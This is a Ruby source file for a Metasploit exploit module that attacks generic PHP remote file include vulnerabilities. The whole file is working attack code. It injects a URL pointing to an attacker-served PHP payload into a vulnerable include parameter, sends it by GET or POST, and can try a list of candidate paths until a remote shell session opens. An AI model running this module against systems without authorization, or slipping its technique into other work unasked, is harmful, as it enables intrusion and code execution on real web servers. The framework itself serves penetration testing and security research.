##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Generic PHP Remote File Include',
        'Description' => %q{
          This module can be used to exploit any generic PHP remote file include
          vulnerability, where the application includes code like the following:
          <?php include($_REQUEST['inc']); ?>
        },
        'Author' => [
          'hdm',
          'egypt',
          'ethicalhack3r',
          'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'License' => MSF_LICENSE,
        # 'References' => [ ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Compat' =>
                        {
                          'ConnectionType' => 'find'
                        },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space' => 262144 # 256k
        },
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'DisclosureDate' => '2006-12-17',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('ROOTDIR', [ true, 'The base directory to prepend to PHPURIs', '/' ]),
        OptString.new('PHPURI', [ false, "The URI to request, with the include()'d parameter changed to !INJECT!", 'test.php?inc=!INJECT!' ]),
        OptString.new('FORMDATA', [ false, "POST data to send, with the include()'d parameter changed to !INJECT!. Otherwise will be a GET request." ]),
        OptString.new('HEADERS', [ false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"' ]),
        OptPath.new('PHPRFIDB',
                    [
                      false,
                      "A local file containing a list of PHPURIs to try, with the include()'d parameter changed to !INJECT!",
                      File.join(Msf::Config.data_directory, 'exploits', 'php', 'rfi-locations.dat')
                    ])
      ]
    )
  end

  # TODO: Would be nice if datastore['PHPURI'] is set, to use on_request_uri() to see if a connection happens, then would be able to return Exploit::CheckCode::Vulnerable
  def check
    method = datastore['FORMDATA'] ? 'POST' : 'GET'
    uri = normalize_uri(datastore['ROOTDIR'], datastore['PHPURI']).gsub('!INJECT!', '')
    print_status("Checking URI via #{method}: #{uri}")

    response = {
      'global' => true,
      'uri' => uri,
      'method' => method,
      'headers' => datastore_headers.merge(
        'Connection' => 'close'
      )
    }
    unless method.casecmp?('get')
      data = method.casecmp?('get') ? nil : encoded_url(datastore['FORMDATA'].gsub('!INJECT!', ''))
      response['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
      response['headers']['Content-Length'] = data.length
      response['data'] = data
    end
    response = send_request_raw(response)
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless response
    return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200

    vprint_warning("Server responded with: HTTP #{response.code}")
    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def datastore_headers
    headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
    headers_hash = {}
    if headers && !headers.empty?
      headers.split(',').each do |header|
        next if header.nil? || header.empty?

        key, value = header.split('=', 2)
        next if key.nil? || value.nil?

        key = key.strip
        value = value.strip
        next if key.empty? || value.empty?

        headers_hash[key] = value
      end
    end
    headers_hash
  end

  def encoded_url(input)
    encoded_replacement = Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', '%') # ? append is required and PHPRFIDB cannot be trusted
    input.strip.gsub('!INJECT!', encoded_replacement)
  end

  def php_exploit
    method = datastore['FORMDATA'] ? 'POST' : 'GET'
    data = method.casecmp?('get') ? nil : encoded_url(datastore['FORMDATA'])

    uris = []

    # PHPURI overrides the PHPRFIDB list
    if datastore['PHPURI']
      uris << encoded_url(normalize_uri(datastore['ROOTDIR'], datastore['PHPURI']))
    else
      vprint_status('Loading PHPURIs from PHPRFIDB')
      ::File.open(datastore['PHPRFIDB'], 'rb') do |fd|
        fd.read(fd.stat.size).split(/\n/).each do |line|
          line.strip!
          next if line.empty?
          next if line =~ /^#/
          next if line !~ %r{^/}

          uris << encoded_url(normalize_uri(datastore['ROOTDIR'], line))
        end
      end
      uris.uniq!
      print_status("Loaded #{uris.length} PHPURIs")
    end

    # Very short timeout because the request may never return if we're
    # sending a socket payload
    timeout = 0

    # We can't make this parallel without breaking PHP findsock
    # Findsock payloads cause this loop to run slowly
    uris.each do |uri|
      break if session_created?

      feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{Rex::Socket.to_authority(rhost, rport)}#{uri}"
      feedback_text << " -> #{data}" unless method.casecmp?('get')
      vprint_status(feedback_text)
      begin
        response = {
          'global' => true,
          'uri' => uri,
          'method' => method,
          'headers' => datastore_headers.merge(
            'Connection' => 'close'
          )
        }
        unless method.casecmp?('get')
          response['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
          response['headers']['Content-Length'] = data.length
          response['data'] = data
        end

        response = send_request_raw(response, timeout)
        # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
        if response.nil?
          vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.')
        elsif response.code != 200
          vprint_error("Error with payload request (HTTP #{response.code}, should be 200)")
        end
      rescue ::Interrupt
        raise $ERROR_INFO
      rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
        print_error('The target service unreachable')
        break
      rescue ::OpenSSL::SSL::SSLError
        print_error('The target failed to negotiate SSL, is this really an SSL service?')
        break
      rescue => e
        print_error("Exception #{e.class} #{e}")
      end

      Thread.pass
    end
  end
end
